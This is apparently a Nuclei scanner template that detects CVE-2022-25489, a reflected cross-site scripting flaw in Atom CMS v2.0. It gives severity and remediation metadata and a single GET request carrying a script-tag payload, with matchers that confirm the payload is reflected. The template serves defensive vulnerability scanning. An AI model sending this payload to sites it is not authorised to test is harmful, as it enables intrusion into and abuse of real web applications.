id: CVE-2022-25489

info:
  name: Atom CMS v2.0 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Atom CMS v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the "A" parameter in /widgets/debug.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/258
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25489
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-25489
    cwe-id: CWE-79
    epss-score: 0.00134
    epss-percentile: 0.47681
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: cve,cve2022,xss,atom,cms,thedigitalcraft

http:
  - method: GET
    path:
      - "{{BaseURL}}/widgets/debug.php?a=<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Path Array"
          - "console-debug"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ba616440a48cd79fed0fbb82c74d5b423c176fb2058b2a6e108042d3b7e3f6860220327a46e6573a290031f738c2c771cfdb4e8d33eafa4d6bacb46ae741a85abac2:922c64590222798bb761d5b6d8e72950